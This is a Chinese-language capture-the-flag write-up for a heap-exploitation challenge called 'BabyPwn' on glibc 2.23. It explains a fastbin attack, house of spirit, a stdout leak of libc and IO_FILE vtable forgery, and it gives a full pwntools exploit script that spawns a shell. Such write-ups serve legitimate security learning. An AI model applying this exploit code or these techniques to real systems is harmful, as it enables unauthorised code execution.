保护
分析
- 添加操作中限制只能添加10个结构体:
- 结构体为:
struct Staff{
char Name[0x10];
char *Description;
int Description_Size;
};
- 漏洞存在删除操作中:
- 总的二进制程序逆向分析到这,下面来考虑怎么利用。
利用
- 这道题和warmup那道题有点相似,但因为这是glibc2.23,所以只能用fastbin attack来攻击IO_FILE,泄露内存;再利用一次fastbin attack攻击IO_FILE或者malloc_hook来getshell。
- 但实际操作之后发现,只有9个结构体可控是完全不能达到getshell的目的,于是考虑要用一个结构体来清空整个结构体列表。
- 比较简单的方法就是先fastbin attack结构体列表,然后利用house of sprit技术来得到一个可控的结构体列表指针。
- fastbin attack结构体列表很简单,既然要用到house of sprit,就要伪造如下图所示的chunk:
- 说明一下,这么构造的理由。首先注意到程序删除操作中,释放的是结构体的Description成员,偏移为0x10,这里的0x602050相当于结构体的基址。0x602050+0x10=0x206060,也就是Description指针指向的内存,它的实际大小为0x50。为什么next size我设定为0x71?这里先卖个关子。
- 然后就是正常的做法,分配3个结构体,大小为0x60、0x90、0x60,顺序很重要,这是为了尽量保证后面构造fastbin loop时,只有低8位不同。
- 释放0x90的chunk就会出现unsortbin chunk,再添加一个0x60的chunk就会包含有libc中的地址,修改低16位为stdout附近的低16位,构造fastbin loop。
- 再添加一个0x60大小的chunk,修改低16位为0就会指向上一块0x60大小的chunk head。以上过程的代码描述:
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))
Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))
Del(1)
Add(p64(0)*2,0x60,p16(0x25dd))
Del(2)
Del(0)
Del(2)
Del(0)
Add(p64(0)*2,0x60,'\x00')
- 这里多出一个 Del(0) 是为了消除前面释放的0x90大小的chunk后带来的影响,具体细节自己调试便知!
- 此时剩余可分配的结构体数量已不够我们后续的使用,所以需要清空一次列表,后续部分的利用就很常规了,只要注意清空列表即可,详见EXP。
- 在拿到libc的基址之后可以fastbin attack malloc_hook,可是我本机上的one_gadget均不符合使用条件,这使我像是吃了土一样难受!
- 只好利用IO_FILE来getshell,于是我选取了0x6020b0来伪造vtble,因此才有了一开始伪造chunk的时候把next size设为0x71这一出。
- 总而言之,过程十分周折!
EXP
from pwn import*
def Add(name,size,data):
p.sendlineafter('choice:','1')
p.sendafter('name:',name)
p.sendlineafter('size:',str(size))
p.sendafter('Description:',data)
def Del(idx):
p.sendlineafter('choice:','2')
p.sendlineafter('index:',str(idx))
baby_list=0x0000000000602060
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
while True:
try:
p=process('./BabyPwn')
Add('\n', 0x60, '\n')
Add('\n', 0x60, '\n')
Del(0)
Del(1)
Del(0)
Add(p64(0x60203d),0x60,p64(0x60203d))
Add('\n',0x60,'\n')
Add('\n',0x60,'\n')
Add('\n',0x60,'\0'*3+p64(0x602050)+p64(0x51)+p64(0x602060)+p64(0)+p64(0)*7+p64(0x71))
Del(-2)
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))
Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))
Del(1)
Add(p64(0)*2,0x60,p16(0x25dd))
Del(2)
Del(0)
Del(2)
Del(0)
Add(p64(0)*2,0x60,'\x00')
Add('\n',0x48,p64(0x602060)+p64(0)+p64(0)*7+p64(0x51))
Del(-2)
Add('\0',0x60,'\0')
Add('\0',0x60,'\0')
Add('\n',0x60,'\n')
Add('\n',0x60,'\0'*0x33+p32(0xfbad1880)+';sh;'+p64(0)*3+'\x88')
leak=p.recvuntil('OK!')
if len(leak)<8:
raise EOFError
libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdin_']
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
success("libc_base:"+hex(libc_base))
success("stdout:"+hex(stdout))
Del(0)
Del(1)
Del(0)
Add('\n',0x60,p64(0x6020a0))
Add('\n',0x60,'\n')
Add('\n',0x60,'\n')
Add('\n',0x48,p64(0)*8)
Add('\n',0x60,p64(0)*2+p64(libc_base+libc.sym['system'])*10)
Add('\0',0x60,'\0')
Add('\0',0x60,'\0')
Del(1)
Del(2)
Del(1)
Add('\n',0x60,p64(stdout+157))
Add('\n',0x60,'\n')
Add('\n',0x60,'\n')
Add('\n',0x60,'\0'*3+p64(0)*5+p64(0x6020b0))
p.interactive()
exit(0)
except EOFError,e:
p.close()
总结
- 此题正好可以与warmup那一题做个比较。
- 学到了怎么灵活应用攻击手段,怎么构造堆。